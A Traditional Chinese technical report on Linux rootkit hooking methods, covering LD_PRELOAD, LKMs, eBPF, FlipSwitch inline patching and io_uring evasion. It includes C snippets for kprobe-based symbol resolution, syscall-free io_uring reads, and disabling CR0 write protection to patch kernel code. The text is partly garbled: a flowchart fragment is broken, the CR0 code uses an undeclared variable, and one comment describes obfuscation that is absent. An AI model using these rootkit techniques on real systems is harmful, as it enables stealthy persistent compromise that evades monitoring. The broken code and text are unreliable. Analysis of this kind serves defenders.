Kernel 介面戰爭:
摘要
這份研究報告提供了對 Linux rootkit Hooking 機制演進與實作的全面技術分析。隨著 Linux 核心架構日趨成熟,像是系統呼叫表劫持(System call table hijacking)這類傳統方法,由於核心頁面保護(Kernel page protection)等強化安全功能,以及近幾個核心版本中轉向基於 switch 的分配器,已逐漸變得過時。此研究探討了從使用者空間共享物件注入(Userland shared object injection),到先進的核心層級技術的轉變,包括可載入核心模組 (Loadable Kernel Module, LKM)、eBPF 惡意程式注入,以及新興的
io_uring
介面濫用。透過剖析如 FlipSwitch 和 Curing 等具體實作策略,報告強調了核心層級威脅與防禦性偵測之間持續不斷的軍備競賽。
1. 簡介
Rootkit 代表了一類複雜的惡意軟體,目的在透過破壞作業系統的核心功能,來維持對系統的持久、隱蔽存取。在 Linux 生態系統中,rootkit 的主要目標是攔截使用者層級應用程式與核心之間的通訊流,這個過程稱為「Hooking」[1]。歷史上,這是透過修改
sys_call_table
(一個包含系統呼叫處理程序指標的跳轉表)來實現的。然而,現代核心 (v6.9+) 引入了架構上的變更,用 Hardcoded switch statement 取代了直接的陣列查詢,有效地抵銷了傳統的修補表技術(Table-patching techniques) [2]。
2. Hooking 技術分類
Linux rootkit 的演進可分為四種不同的實作模型,每一種都代表了作業系統目標層級的轉移。
| 時期 | 實作模型 | 主要機制 | 偵測挑戰 |
|---|---|---|---|
| 2000 年代初 | 使用者空間共享物件 (SO) |
LD_PRELOAD
劫持
|
靜態連結二進位檔輕易繞過 |
| 2000 年代 - 2010 年代 | 可載入核心模組 (LKM) | 系統呼叫表 / ftrace Hooking |
在
/proc/modules
中可見
|
| 2010 年代末 | eBPF 惡意程式注入 | 附加到 kprobes/tracepoints | 對傳統 LKM 掃描器不可見 |
| 2025+ | 濫用 io_uring 的 Rootkit | Asynchronous I/O ring 濫用 | 繞過依賴系統呼叫的 EDR 偵測 |
3. 進階核心Hooking:FlipSwitch 技術
隨著 Linux Kernel 6.9 的推出,
sys_call_table
分配器的移除迫使攻擊者開發更具侵入性的方法。FlipSwitch 技術代表了一種新穎的途徑,它直接修補核心系統呼叫進入點
x64_sys_call
的編譯後機器碼 [2]。
3.1. 透過 Kprobes 進行動態符號解析
由於許多關鍵核心函式(如
kallsyms_lookup_name
)不再匯出給模組,rootkit 必須使用
kprobes
來動態解析它們的位址。透過在已知符號上註冊一個探測點,rootkit 可以從
kprobe
結構中提取函式指標。
- /**
- * Find the address of kallsyms_lookup_name using kprobes
- * This bypasses the restriction where the symbol is not exported to LKMs.
- */
- void *find_kallsyms_lookup_name(void)
- {
- struct kprobe *kp;
- void *addr;
- kp = kzalloc(sizeof(*kp), GFP_KERNEL); // Allocate kprobe structure in kernel memory
- if (!kp)
- return NULL;
- // Use the string obfuscation to avoid static detection
- kp->symbol_name = "kallsyms_lookup_name";
- if (register_kprobe(kp) != 0) { // Registering the probe triggers symbol resolution
- kfree(kp);
- return NULL;
- }
- addr = kp->addr; // Extract the resolved address
- unregister_kprobe(kp); // Clean up
- kfree(kp);
- return addr;
- }
3.2. Inline Machine Code 修補
一旦找到目標位址,rootkit 會掃描
x64_sys_call
函式,尋找
0xe8
操作碼(Near call)。它會計算相對 offset,以驗證該呼叫是否指向原始的系統呼叫。如果找到匹配項,rootkit 會修改 offset,使其指向其惡意封裝函式。
Dispatcher} B -- Original Code --> C[Original sys_kill] B -- Patched Code --> D[Rootkit fake_kill] D --> E[Malicious Logic:
Hide Process]
4. 使用 io_uring 繞過系統呼叫稽核
io_uring
介面於 Linux 5.1 中引入,提供了一個高效能非同步 I/O 框架,它利用使用者空間與核心之間的共用記憶體環(Shared memory ring)。這種架構允許 rootkit 執行檔案和網路操作,而無需呼叫對應的系統呼叫,例如
read
或
connect
[3]。
4.1. Curing Rootkit 架構
Curing rootkit 示範了如何使用
io_uring
來建立隱蔽的通訊頻道。透過向 Submission Queue (SQ) 送出 I/O 請求,並從 Completion Queue (CQ) 取得結果,rootkit 避免了觸發安全工具(如 Falco 或 Tetragon)所使用的濫用 eBPF 的系統呼叫 Hooking [3]。
- /*
- * Simplified io_uring request submission for stealthy file access.
- * This bypasses traditional 'read' syscall hooks.
- */
- struct io_uring ring;
- io_uring_queue_init(32, &ring, 0); // Initialize the shared rings
- struct io_uring_sqe *sqe = io_uring_get_sqe(&ring); // Get a Submission Queue Entry
- // Prepare a vectored read operation (IORING_OP_READV)
- io_uring_prep_readv(sqe, fd, &iov, 1, 0);
- // Submit the request to the kernel.
- // Only 'io_uring_enter' is called, hiding the actual 'read' intent.
- io_uring_submit(&ring);
5. 繞過記憶體保護機制
為了套用這些 Hooks,rootkit 必須繞過核心在
CR0
暫存器中的寫入保護 (Write protection, WP) 位元。此位元可防止 CPU 寫入唯讀記憶體頁面,例如 Kernel text segment。
- /*
- * Temporarily disable kernel write protection by clearing the 16th bit of CR0.
- * This allows the rootkit to patch the kernel's executable code.
- */
- static inline void disable_write_protection(void)
- {
- unsigned long cr0 = read_cr0(); // Read current control register 0
- clear_bit(16, &cr0); // Clear the WP (Write Protect) bit
- // Use inline assembly to force the write, bypassing compiler optimizations
- asm volatile("mov %0, %%cr0" : "+r"(cr0), "+m"(dummy));
- }
6. 結論
Linux rootkit 的技術格局正從簡單的表操作,轉向複雜的機器碼修補以及對效能導向核心子系統的攻擊。FlipSwitch 技術凸顯了即使是現代 kernel dispatchers 也容易受到 inline patching 的攻擊,而像 Curing 這類濫用
io_uring
的 rootkit 則揭露了以系統呼叫為中心的安全監控存在根本上的盲點。未來的防禦策略必須超越系統呼叫稽核,並納入核心執行時期安全檢測 (Kernel Runtime Security Instrumentation, KRSI) 和利用 LSM 的 Hooking,以便在這些深度核心操作中保持能見度。